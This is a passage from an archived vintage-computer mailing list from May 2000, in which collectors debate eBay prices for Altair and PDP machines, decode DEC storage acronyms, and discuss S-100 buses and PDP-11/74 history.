and next highest. As most dealers in antiquities or other "rare" goodies will tell you, the price of a single (or even a few) auctions doesn't really set a "price." Now if you saw the same event for several auctions in a row, then you can start to take it as evidence of a trend. Not that I think eBay (or auctioning in general) is bad - it's just that a single, outrageous price is not an indicator of a trend. But to belie my words, eBay *does* seem to have it's share of high bidding fools - I've probably been one myself on occasions when I *really* wanted something I'd been seeking for a long time... -Gary From dylanb at sympatico.ca Tue May 9 20:34:55 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office><39188B9C.7064FBAF@rain.org> <4.2.2.20000509162648.03a86c20@wave-rock.ao.com> Message-ID: <009e01bfba1f$f270e260$fd83fea9@office> > > However, as it's been pointed out before, it only takes *2* bidders to > make a runaway auction.\\ That's what I *hate* about auctions. > This hardly qualifies as an "ordinary" price. > And in the case of the above auction, it only took *1* as it was a > reserve auction, with an apparent reserve of $10k. There was quite > a spread between the highest and next highest. > Altairs generally sell between $3-4K. I remember last year they were selling for around $2K. > As most dealers in antiquities or other "rare" goodies will tell you, > the price of a single (or even a few) auctions doesn't really set a > "price." Now if you saw the same event for several auctions in a row, > then you can start to take it as evidence of a trend. > Agreed. I never use just one auction or sale to justify "value". I did notice on that auction that at least 4 people wanted to pay over $4000. > Not that I think eBay (or auctioning in general) is bad - it's just > that a single, outrageous price is not an indicator of a trend. I generally find eBay sells items for *less* money than the real world when it comes to classic computers. A *lot* of deep pocket collectors won't use the service to purchase old computers from. I have been told by many that they would rather do private offers or sales as eBay would *really* blow the prices out of perspective [take Nathan Myhrvold bids for example] . I personally will have a running KL10 available for offers but would not want to sell such a mini as a "featured catagory item" on eBay - some items just don't sit well on eBay. > But to belie my words, eBay *does* seem to have it's share of high > bidding fools - I've probably been one myself on occasions when I > *really* wanted something I'd been seeking for a long time... > It only takes two! john From vaxman at uswest.net Tue May 9 19:01:44 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:52:41 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <3918295E.44B458FD@rain.org> Message-ID: I have a clock that works basically like this. The LED is mounted on a spring loaded arm sticking up out of the base. You pull the arm to one side, and release it. The time shows up floating in the arm. It's pretty annoying to have to flip the arm to find out what time it is... clint On Tue, 9 May 2000, Marvin wrote: > > > John Foust wrote: > > > > What's the name of those signs that are composed of nothing but > > a single vertical column of LEDs, where you can only see the > > image (or the digital clock display, etc.) as your eye scans > > across it, leaving the multiplexed image in your brain? > > I can't recall either, but that brings to mind an interesting project a > friend of mine worked on quite a few years ago. The Art Museum here was > having some kind of show and an artist wanted to paint electronic pictures. > My friend designed the electronics (I built the circuit boards) to put a > line of LEDs on a pendulum and paint pictures electronically as the pendulum > swung through its arc. With the multi-colored and higher intensity LEDs > available today, it would be really cool to do the same thing but with color > pictures. Doesn't sound like too hard a project especially with the speed of > todays computers. > > From lemay at cs.umn.edu Tue May 9 19:19:23 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <009e01bfba1f$f270e260$fd83fea9@office> from johnb at "May 9, 2000 09:34:55 pm" Message-ID: <200005100019.TAA06353@caesar.cs.umn.edu> > > But to belie my words, eBay *does* seem to have it's share of high > > bidding fools - I've probably been one myself on occasions when I > > *really* wanted something I'd been seeking for a long time... > > > > It only takes two! > Yes, it was the OTHER guy who forced me to pay $150 for that 16K of pdp8/E core memory ;) Still, whoever got the 8/E EAE board set should feel lucky I spend myself out, because I knew it was there ;) -Lawrence (oh, you meant some OTHER fool...) LeMay From dylanb at sympatico.ca Tue May 9 21:02:57 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: <200005100019.TAA06353@caesar.cs.umn.edu> Message-ID: <00a801bfba23$dcd17740$fd83fea9@office> ----- Original Message ----- From: Lawrence LeMay To: Sent: Tuesday, May 09, 2000 8:19 PM Subject: Re: Ebay Altair > > > But to belie my words, eBay *does* seem to have it's share of high > > > bidding fools - I've probably been one myself on occasions when I > > > *really* wanted something I'd been seeking for a long time... > > > > > > > It only takes two! > > > > Yes, it was the OTHER guy who forced me to pay $150 for that 16K of pdp8/E > core memory ;) Still, whoever got the 8/E EAE board set should feel lucky > I spend myself out, because I knew it was there ;) > Doesn't Keyways charge $250 for 8/E core memory set? What did the 8/E EAE set sell for, and when? > -Lawrence (oh, you meant some OTHER fool...) LeMay > From lemay at cs.umn.edu Tue May 9 19:38:16 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <00a801bfba23$dcd17740$fd83fea9@office> from johnb at "May 9, 2000 10:02:57 pm" Message-ID: <200005100038.TAA07520@caesar.cs.umn.edu> > > > > > But to belie my words, eBay *does* seem to have it's share of high > > > > bidding fools - I've probably been one myself on occasions when I > > > > *really* wanted something I'd been seeking for a long time... > > > > > > > > > > It only takes two! > > > > > > > Yes, it was the OTHER guy who forced me to pay $150 for that 16K of pdp8/E > > core memory ;) Still, whoever got the 8/E EAE board set should feel lucky > > I spend myself out, because I knew it was there ;) > > > > Doesn't Keyways charge $250 for 8/E core memory set? > > What did the 8/E EAE set sell for, and when? > Ended last sunday. It sold for a very low price. VERY low. The guy didnt know what he had. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=319273531 For $77, the auction included some of the basic PDP 8/E cpu cards, plus the M8341 and M8340 (which he didnt label), plus 5 'top caps' for the boards. Not a bad bargain for someone. -Lawrence LeMay From marvin at rain.org Tue May 9 19:38:35 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> <006e01bfba11$e11dcc20$fd83fea9@office> Message-ID: <3918AF8B.3A8F4F93@rain.org> johnb wrote: > > Funny how a lot of people here think the prices are inflated. These prices > are established by *demand* and availability (as with anything else). I sold > my Altair 8800 serial #80 just like this one with my collection :-( "Inflated" implies a comparison. And of course prices are established by supply and demand, and I think that is a good thing. The comparison, though, is with the approx. $2K to $4K or so they have been selling for on ebay for the past several years. That ad gives a LOT less detail than others that sold for much less. Was it ignorance that drove the price up ... or was it that the bidder knew something we don't? Perhaps this person emailed the seller and did find out something that made it worth the extra money. From richard at idcomm.com Tue May 9 20:30:28 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> <006e01bfba11$e11dcc20$fd83fea9@office> <3918AF8B.3A8F4F93@rain.org> Message-ID: <002701bfba1f$53a5f1c0$0400c0a8@winbook> What's just as likely is that the Altair will go un-paid-for, thereby leaving the notion that it should bring a high price, but without any actual consummated sale. Most of us won't know about that little detail, but will surely remember that an Altair, probably worth at least that much if inflation is taken into consideration and if you simply consider what it cost back in the "old days" when it was purchased. Note that this one had a 4K Ram board and a CPU, but little else, hence, it was probably just held for investment. This is how the prices are pushed up. Dick ----- Original Message ----- From: Marvin To: Sent: Tuesday, May 09, 2000 6:38 PM Subject: Re: Ebay Altair > > > johnb wrote: > > > > Funny how a lot of people here think the prices are inflated. These prices > > are established by *demand* and availability (as with anything else). I sold > > my Altair 8800 serial #80 just like this one with my collection :-( > > "Inflated" implies a comparison. And of course prices are established by > supply and demand, and I think that is a good thing. The comparison, though, > is with the approx. $2K to $4K or so they have been selling for on ebay for > the past several years. That ad gives a LOT less detail than others that > sold for much less. Was it ignorance that drove the price up ... or was it > that the bidder knew something we don't? Perhaps this person emailed the > seller and did find out something that made it worth the extra money. > From jfoust at threedee.com Tue May 9 20:42:17 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <006e01bfba11$e11dcc20$fd83fea9@office> References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> Message-ID: <4.3.0.20000509203740.02182ba0@pc> > > Good grief, someone puts the word "historic" on a computer and look what > > happens to the price someone else is willing to pay. Hmmm, maybe its the > > "rush" one gets after taxes are done. > > > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=310884521 > > > > For those that don't choose to browse, the closing price was $10K. The winning bid was from clbii@mindspring.com . Hmm, sounds like Scelbi. It seemed to be a system with plenty of docs and lit from the time. Instant collection. At 09:34 PM 5/9/00 -0400, johnb wrote: >I have been told by many that >they would rather do private offers or sales as eBay would *really* blow the >prices out of perspective [take Nathan Myhrvold bids for example] . I What was he bidding on? - John From allisonp at world.std.com Tue May 9 19:45:39 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:41 2005 Subject: Busses vs no busses Message-ID: <004e01bfba19$dedac050$7464c0d0@ajp166> >Bill said >> ...a distant decendant of the DEC CI780 and HSC50 >> disk interface SDI cable. That and the C64 serial bus, Epson PX-8 serial bus, Appletalk interconnect. Even I did a simple two wire bus for interconnect back in the early 80s. Firewire and USB are nothing new save for they are fast and cheap. >CI780 =? Cluster Interconnect ?? Yep >HSC50 =? Heirarchic Storage Controller ?? Yep yep. >SDI =? No Freakin' Clue. ??? Help! Strategic defense inititive... Storage domain interface... I forget. They did have onthing in common serial buses that ran at very high speeds as a simpler interconnect that could span significant distances. Even eithenet has been used that way. To revisit a earlier point S100 ws not a simple bus, crude yes, not simple. The cpu in the raw was on the bus so you had to do a lot of cycle decoding and grabing the right lines. If it had been done right the odd pins would have been all grounds and the bus would have ended up looking like multibus or STD. A simple bus would be SS50, much better in some ways and easier to interface to. Allison From pechter at pechter.dyndns.org Tue May 9 21:04:17 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:41 2005 Subject: Busses vs no busses In-Reply-To: <000201bfb9f4$ebabb200$0e0301ac@dba00802.databaseamerica.com> from John Allain at "May 9, 2000 04:26:55 pm" Message-ID: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> > Could someone help my recollecting. > What's an SDI & are these correct? John A. > > > Bill said > > ...a distant decendant of the DEC CI780 and HSC50 > > disk interface SDI cable. > > CI780 =? Cluster Interconnect ?? > HSC50 =? Heirarchic Storage Controller ?? > SDI =? No Freakin' Clue. ??? Help! I believe SDI = Serial Disk Interconnect (or something like that). They're the cables from the HSC50 or UDA50a to the RAxx drive. bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From foo at siconic.com Tue May 9 20:04:50 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: > I generally find eBay sells items for *less* money than the real world when > it comes to classic computers. A *lot* of deep pocket collectors won't use False. > the service to purchase old computers from. I have been told by many that > they would rather do private offers or sales as eBay would *really* blow the > prices out of perspective [take Nathan Myhrvold bids for example] . I This makes no sense. eBay prices as a rule are always much more than once can expect to find in the "real world". In fact, "real world" prices have gotten inflated from people selling their old computers for eBay prices (I'm sure many here have come across people selling old computers, or really just about anything these days, and saying something to the effect of "I can get $X for this on eBay!!") > personally will have a running KL10 available for offers but would not want > to sell such a mini as a "featured catagory item" on eBay - some items just > don't sit well on eBay. If it's too big to ship via UPS then it generally won't do well. As I have always maintained in the past, eBay has done nothing but artifically inflate the prices for old computers to the detriment of this hobby (and others as well). Sellam From cmcmanis at mcmanis.com Tue May 9 21:15:00 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: <200005100019.TAA06353@caesar.cs.umn.edu> <00a801bfba23$dcd17740$fd83fea9@office> Message-ID: <3918C624.AC7F6FC9@mcmanis.com> johnb wrote: > Doesn't Keyways charge $250 for 8/E core memory set? No, a 4K set (and yes I bought one, no it didn't work (but I fixed it)) and no Mitch doesn't seem to have any more. > What did the 8/E EAE set sell for, and when? $77, in part because I didn't get my final bid in. I'd have at least paid $100 for a complete 8/E cpu + EAE with connectors. Even shipping it from England isn't _that_ expensive with some of the newer air-freight services (DHL quoted me $30 for 3-day air service) --Chuck From ip500 at roanoke.infi.net Tue May 9 21:11:00 2000 From: ip500 at roanoke.infi.net (Craig Smith) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> <006e01bfba11$e11dcc20$fd83fea9@office> <3918AF8B.3A8F4F93@rain.org> <002701bfba1f$53a5f1c0$0400c0a8@winbook> Message-ID: <3918C534.9E0F50E5@roanoke.infi.net> That was the first thing I looked for. The seller did in fact add to the buyers feedback profile [with a "glowing" comment], which would seem to indicate that the sale was indeed consummated. And I thought 3-4K was a bit pricey! Craig Richard Erlacher wrote: > > What's just as likely is that the Altair will go un-paid-for, thereby > leaving the notion that it should bring a high price, but without any actual > consummated sale. Most of us won't know about that little detail, but will > surely remember that an Altair, probably worth at least that much if > inflation is taken into consideration and if you simply consider what it > cost back in the "old days" when it was purchased. Note that this one had a > 4K Ram board and a CPU, but little else, hence, it was probably just held > for investment. > > This is how the prices are pushed up. > > Dick > > ----- Original Message ----- > From: Marvin > To: > Sent: Tuesday, May 09, 2000 6:38 PM > Subject: Re: Ebay Altair > > > > > > > johnb wrote: > > > > > > Funny how a lot of people here think the prices are inflated. These > prices > > > are established by *demand* and availability (as with anything else). I > sold > > > my Altair 8800 serial #80 just like this one with my collection :-( > > > > "Inflated" implies a comparison. And of course prices are established by > > supply and demand, and I think that is a good thing. The comparison, > though, > > is with the approx. $2K to $4K or so they have been selling for on ebay > for > > the past several years. That ad gives a LOT less detail than others that > > sold for much less. Was it ignorance that drove the price up ... or was it > > that the bidder knew something we don't? Perhaps this person emailed the > > seller and did find out something that made it worth the extra money. > > From foo at siconic.com Tue May 9 20:08:09 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <3918AF8B.3A8F4F93@rain.org> Message-ID: > "Inflated" implies a comparison. And of course prices are established by > supply and demand, and I think that is a good thing. The comparison, though, > is with the approx. $2K to $4K or so they have been selling for on ebay for > the past several years. That ad gives a LOT less detail than others that > sold for much less. Was it ignorance that drove the price up ... or was it > that the bidder knew something we don't? Perhaps this person emailed the > seller and did find out something that made it worth the extra money. Or perhaps the deal won't even be consumated as was the case the last time an Altair reached such a ridiculous sales price. Remember the $12K Altair bid up by the woman for a third party a couple years back? From pechter at pechter.dyndns.org Tue May 9 21:09:10 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:41 2005 Subject: value of RK05 In-Reply-To: from Tony Duell at "May 9, 2000 09:10:01 pm" Message-ID: <200005100209.WAA19057@bg-tc-ppp351.monmouth.com> > > > > > > Err, and just what _production_ PDP11s are pre-11/20?? > > > > > > > Gordon Bell had 300 "PDP-11" minicomputers made that were *slightly* > > different from the PDP-11/20. Most 11/20 boards are rev "A". I will list soo > > the differences - most had to do with the UNIBUS.. but there was some > > changes to the datapaths as well. > > Ah, so they're not really production machines... > > As a user/repairer (as opposed to a collector), my views on prototype > machines and their value is perhaps a little different to others. There > are some machines that _only_ existed as prototypes and did things that > production machines never did (examples would be the PDP11/74, PERQ 2T4, > etc). Those I find very interesting, and would love to obtain (some > chance..) But when a prototype went into production with a few changes, > then I'm not particularly bothered about getting the prototype version -- > most likely I'm going to run into some nasty incompatibility sometime... > > -tony > The 11/74 was a little more than a prototype since a number of KB11-CM's were built and implemented internally in DEC. The parts were assigned real part numbers and were produced in limited quantities. These 11/74's were pressed into 11/70 service when DEC couldn't meet the demand for Telco (i.e. AT&T) 11/70's due to the FCC specs in the mid '80's. They were allowed to sell refurb machines -- so the 11/74's from internal sites in Massachusetts and New Hampshire were s shipped to the field to replace Field Service and Software (and in our case the Mid Atlantic Region Sales) administrive machines in DEC so the 11/70's running RSTS/E (usually) could be refurbed and shipped to AT&T sites. They even swapped cusomers for Vax 11/780 systems to get these 11/70's back from the field. My biggest fear was backplane failure -- since there were a couple of 11/74 board sets in the country -- but no one knew if there were any backplanes out there and the 11/70 backplanes got real creaky after 10 years or so of field maintenance. bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From foo at siconic.com Tue May 9 20:09:30 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <4.3.0.20000509203740.02182ba0@pc> Message-ID: > At 09:34 PM 5/9/00 -0400, johnb wrote: > >I have been told by many that > >they would rather do private offers or sales as eBay would *really* blow the > >prices out of perspective [take Nathan Myhrvold bids for example] . I > > What was he bidding on? You mean besides stuffed animals and anal/vaginal speculi? (I'm not making this up). Sellam From geoffrob at stmarks.pp.catholic.edu.au Tue May 9 21:23:12 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:52:41 2005 Subject: Busses vs no busses References: <000201bfb9f4$ebabb200$0e0301ac@dba00802.databaseamerica.com> Message-ID: <004b01bfba26$b10ce880$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "John Allain" To: Sent: Wednesday, May 10, 2000 5:56 AM Subject: RE: Busses vs no busses > CI780 =? Cluster Interconnect ?? > HSC50 =? Heirarchic Storage Controller ?? > SDI =? No Freakin' Clue. ??? Help! SDI = Standard Disk Interface, IIRC HSC = HeirarchicAL Storage Controller CI = Computer Interconnect, IIRC. Cheers Geoff Roberts Computer Systems Manager Saint Mark's College Port Pirie, South Australia geoffrob@stmarks.pp.catholic.edu.au ICQ: 1970476 From dylanb at sympatico.ca Tue May 9 23:05:42 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: Message-ID: <00c701bfba35$02933ca0$fd83fea9@office> > > > I generally find eBay sells items for *less* money than the real world when > > it comes to classic computers. A *lot* of deep pocket collectors won't use > > False. False? I *have* been asked by many deep pocket collectors not to put any sort of large , really rare computers on eBay. I sold the PDP-15, a couple /35s and a few other 8s through private offers. I personally don't think eBay is the place to sell *huge* minicomputers. It was requested by 3 already that I NOT put the PDP-10 on eBay as they would not bid, and really that would not be too tasteful in my eyes anyway. > This makes no sense. eBay prices as a rule are always much more than once > can expect to find in the "real world". In fact, "real world" prices have > gotten inflated from people selling their old computers for eBay prices > (I'm sure many here have come across people selling old computers, or > really just about anything these days, and saying something to the effect > of "I can get $X for this on eBay!!") It makes perfect sense. You get 4 or 5 multi-million $$ deep pockets specifically looking for old minicomputer stuff and bidding heavily on eBay and watch what would happen. Look at what happened to the Cray manual when someone here on the list tried to bid against Nathan [closed around $2700, and he was *not* going to be outbid]. Quite a few deep pocket collectors are now looking at *preserving* either their first computer or put together a small museum. $10,000 is nothing to pay for a small rare computer when you have a billion. Put up something like a KA-10 on eBay for auction and inform a few deep pockets and watch the bids[I know of 3 *really* deep pockets that want one - period! ] BTW: I put the PDP-11/35 on eBay *only* to show what these computers were *really* selling for.. I was a bit upset as I got *less* than I usually do. As for using auctions to value computers? Sotheby's uses past auction sales *to* determine value all the time. > > > personally will have a running KL10 available for offers but would not want > > to sell such a mini as a "featured catagory item" on eBay - some items just > > don't sit well on eBay. > > If it's too big to ship via UPS then it generally won't do well. > Shipping a PDP-15 to the West Coast was under $2000. A PDP-8/I rackful to the west coast - $800US. A PDP-11/35 to Chicago was under $200US (and would not fit on a UPS truck). 40,000 pounds of computers to the West Coast (from Toronto) - $7000US + ins. Airlines charge $1.20/pound on average to the US. Trucks are much less if a large load is going. Shipping is a non issue when it comes to heavy computers anymore. All depends how rare the computer is. > As I have always maintained in the past, eBay has done nothing but > artifically inflate the prices for old computers to the detriment of this > hobby (and others as well). > I (most of all) am really fed up with eBay. I have lost several *volume* PDP-8 and PDP-11 deals because the individual involved happens to look on eBay to see what they are going for. I specifically lost 3 PDP-8/Es in NC for a few hundred $$$ because this guy saw an 8/E sell on eBay for $1400US just before the deal closed :-( http://www.pdp8.com/ John > Sellam > > From allisonp at world.std.com Tue May 9 20:37:39 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:41 2005 Subject: value of RK05 Message-ID: <002101bfba20$6d1f9790$7664c0d0@ajp166> --->The 11/74 was a little more than a prototype since a number of KB11-CM's >were built and implemented internally in DEC. The parts were assigned >real part numbers and were produced in limited quantities. That was SOP for DEC. Anytimg something needed to be produced outside of the lab and it was projected as production it would get the full treatment. >These 11/74's were pressed into 11/70 service when DEC couldn't meet the >demand for Telco (i.e. AT&T) 11/70's due to the FCC specs in the mid >'80's. They were allowed to sell refurb machines -- so the 11/74's from That and it threatend to take some of the 11/780s thunder. One forgets the 11/70 was the supermini of the day and not too shabby for some time after. >internal sites in Massachusetts and New Hampshire were s shipped to the >field to replace Field Service and Software (and in our case the Mid >Atlantic Region Sales) administrive machines in DEC so the 11/70's >running RSTS/E (usually) could be refurbed and shipped to AT&T sites. Not all though. The system known as Video was an 11/70 that was an 11/74 at another point in time. >My biggest fear was backplane failure -- since there were a couple of >11/74 board sets in the country -- but no one knew if there were any >backplanes out there and the 11/70 backplanes got real creaky after 10 >years or so of field maintenance. That and the multiport memory boxes. Allison From rhudson at ix.netcom.com Tue May 9 22:28:34 2000 From: rhudson at ix.netcom.com (Ron Hudson) Date: Sun Feb 27 18:52:41 2005 Subject: s100 busses! References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> Message-ID: <3918D762.18B15E2E@ix.netcom.com> Does anyone still sell s100 based computers? Aren't they used still for process controll and automation? 2nd question How did the control panel of the IMSAI work, was it controlled by a rom program that lit the leds and read the switches? Thanks! From earl_evans at yahoo.com Tue May 9 22:57:23 2000 From: earl_evans at yahoo.com (Earl Evans) Date: Sun Feb 27 18:52:41 2005 Subject: HP86 Message-ID: <20000510035723.24572.qmail@web120.yahoomail.com> Hello Bill, If the HP-86 has not already been spoken for, I would like to speak up. It would be a fun addition to my collection. I have always liked the older HP systems. I'll be in the general area on Saturday 5/13 (driving back from San Jose, CA to Portland, OR), and could arrange to pick this up on the way. Let me know if this is still up for grabs :-) Thanks, - Earl --- Bill Yakowenko wrote: > Hey all, I have a line on an HP-86 up for grabs in California, > about 90 > miles north of Sacramento: > > ] HP-86 with manuals, monitor, two disc drives, memory > modules, matrix > ] manipulation hardware (never used), etc. I have not taken a > complete > ] inventory of what is there. Would be happy to GIVE it to > anyone that > ] has an interest. > > Let me know if you're interested, and I'll pass the word on. > > Cheers, > Bill. > > > ===== Earl Evans retro@retrobits.com Enjoy Retrocomputing Today! Join us at http://www.retrobits.com __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From richard at idcomm.com Tue May 9 23:10:53 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:41 2005 Subject: s100 busses! References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> <3918D762.18B15E2E@ix.netcom.com> Message-ID: <002d01bfba35$bc955700$0400c0a8@winbook> Someone recently told me that Industrial Micro Systems was still around. I haven't found a web presence to verify this, however. Additionally, IMSAI claims to be making a system with an S-100 bus. Check for info on their front panel, still available as a replacement part, or as a kit, etc. Dick The front-panel is documented ----- Original Message ----- From: Ron Hudson To: Sent: Tuesday, May 09, 2000 9:28 PM Subject: s100 busses! > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? > > 2nd question > How did the control panel of the IMSAI work, was it controlled by a rom program > that lit the leds and read the switches? > > Thanks! > From richard at idcomm.com Tue May 9 23:13:43 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: Message-ID: <003b01bfba36$219cfcc0$0400c0a8@winbook> Well, that's nice if you're selling. Dick ----- Original Message ----- From: foo To: Sent: Tuesday, May 09, 2000 7:04 PM Subject: Re: Ebay Altair > > > > I generally find eBay sells items for *less* money than the real world when > > it comes to classic computers. A *lot* of deep pocket collectors won't use > > False. > > > the service to purchase old computers from. I have been told by many that > > they would rather do private offers or sales as eBay would *really* blow the > > prices out of perspective [take Nathan Myhrvold bids for example] . I > > This makes no sense. eBay prices as a rule are always much more than once > can expect to find in the "real world". In fact, "real world" prices have > gotten inflated from people selling their old computers for eBay prices > (I'm sure many here have come across people selling old computers, or > really just about anything these days, and saying something to the effect > of "I can get $X for this on eBay!!") > > > personally will have a running KL10 available for offers but would not want > > to sell such a mini as a "featured catagory item" on eBay - some items just > > don't sit well on eBay. > > If it's too big to ship via UPS then it generally won't do well. > > As I have always maintained in the past, eBay has done nothing but > artifically inflate the prices for old computers to the detriment of this > hobby (and others as well). > > Sellam > From frustum at pacbell.net Tue May 9 23:12:44 2000 From: frustum at pacbell.net (Jim Battle) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <4.3.0.20000509210045.00b03570@pacbell.net> At 06:04 PM 5/9/00 -0700, Sellam wrote: >... >As I have always maintained in the past, eBay has done nothing but >artifically inflate the prices for old computers to the detriment of this >hobby (and others as well). > >Sellam I think it can be argued differently, especially the "nothing but" part. Think of how many people are now digging out old computers, or getting them back into circulation instead of just scrapping them. The prices might be up, but so is the supply. And, in time, some of the people who bought some computer in a fit of nostalgia for too much on ebay will get tired of their machine and probably put it back into the market, especially if the paid real $$ for it. It is somewhat contradictory to have the position of wanting to preserve old computers but at the same time wanting to return to the old days, days when old machines were cheap but where most were trashed. What better way to guarantee something will be preserved than to put a value on it? So, what do you want? To preserve these wonder old machines, or just have a lot of free/cheap playthings? And sorry, not just to pick on you Sellam, it is a question I have thought about a lot myself. Whenever I get the itch to pick up something on ebay or a swap meet, I try to really think if it is something I can actually spend time with, or is it just another butterfly in the butterfly collection. I like ebay. ----- Jim Battle == frustum@pacbell.net From mikeford at socal.rr.com Tue May 9 23:18:25 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: >This makes no sense. eBay prices as a rule are always much more than once >can expect to find in the "real world". In fact, "real world" prices have Which "real world" would this be? Ebay is much higher than scrap yards, and much lower than legacy support. >As I have always maintained in the past, eBay has done nothing but >artifically inflate the prices for old computers to the detriment of this >hobby (and others as well). Define artificial? Simple test, what items do you have that eBay prices are now too high on, such that you are willing to sell? Or is it just that eBay prices are too high for you to buy at, yet still far too low for you to sell at. From richard at idcomm.com Tue May 9 23:26:29 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: <00c701bfba35$02933ca0$fd83fea9@office> Message-ID: <005301bfba37$ea9ba620$0400c0a8@winbook> I'm not so sure the scarcity of a computer, taken by itself, is a meaningful factor in determining the price on eBay. The Altair has gotten a lot of help from the "revenge of the nerds" thing on PTV, and there are a lot of folks who can remember not buying one back in the '70's because they were expensive, who now have more dough than they need. If it's well promoted, as the Altair has been by virtue of that PTV piece, among others, it matters little that the Altair was, in reality, a VERY mediocre product that barely worked when it did and mostly didn't. People did use them, after much effort, to accomplish useful work, however. I know of one civil engineer turned accident-reconstructionist who lost money during the years he used time-shared DEC computers but started to turn a profit once he bought his Altair. I doubt, by the way, that the value of the DEC service was a factor. Having nothing more than a teletype and a timeshare account was common back then. A lot of people spent lots of time sweating over an Altair, SOL, or IMSAI just to prove their decision to buy the thing wasn't misguided. Those are the guys who are bidding them up, I'd guess. Dick ----- Original Message ----- From: johnb To: Sent: Tuesday, May 09, 2000 10:05 PM Subject: Re: Ebay Altair > > > > > > I generally find eBay sells items for *less* money than the real world > when > > > it comes to classic computers. A *lot* of deep pocket collectors won't > use > > > > False. > > False? I *have* been asked by many deep pocket collectors not to put any > sort of large , really rare computers on eBay. I sold the PDP-15, a couple > /35s and a few other 8s through private offers. I personally don't think > eBay is the place to sell *huge* minicomputers. It was requested by 3 > already that I NOT put the PDP-10 on eBay as they would not bid, and really > that would not be too tasteful in my eyes anyway. > > > > > This makes no sense. eBay prices as a rule are always much more than once > > can expect to find in the "real world". In fact, "real world" prices have > > gotten inflated from people selling their old computers for eBay prices > > (I'm sure many here have come across people selling old computers, or > > really just about anything these days, and saying something to the effect > > of "I can get $X for this on eBay!!") > > It makes perfect sense. You get 4 or 5 multi-million $$ deep pockets > specifically looking for old minicomputer stuff and bidding heavily on eBay > and watch what would happen. Look at what happened to the Cray manual when > someone here on the list tried to bid against Nathan [closed around $2700, > and he was *not* going to be outbid]. Quite a few deep pocket collectors are > now looking at *preserving* either their first computer or put together a > small museum. $10,000 is nothing to pay for a small rare computer when you > have a billion. Put up something like a KA-10 on eBay for auction and inform > a few deep pockets and watch the bids[I know of 3 *really* deep pockets that > want one - period! ] > > > BTW: I put the PDP-11/35 on eBay *only* to show what these computers were > *really* selling for.. I was a bit upset as I got *less* than I usually do. > > As for using auctions to value computers? Sotheby's uses past auction sales > *to* determine value all the time. > > > > > > > personally will have a running KL10 available for offers but would not > want > > > to sell such a mini as a "featured catagory item" on eBay - some items > just > > > don't sit well on eBay. > > > > If it's too big to ship via UPS then it generally won't do well. > > > > Shipping a PDP-15 to the West Coast was under $2000. A PDP-8/I rackful to > the west coast - $800US. A PDP-11/35 to Chicago was under $200US (and would > not fit on a UPS truck). 40,000 pounds of computers to the West Coast (from > Toronto) - $7000US + ins. Airlines charge $1.20/pound on average to the US. > Trucks are much less if a large load is going. Shipping is a non issue when > it comes to heavy computers anymore. > > All depends how rare the computer is. > > > As I have 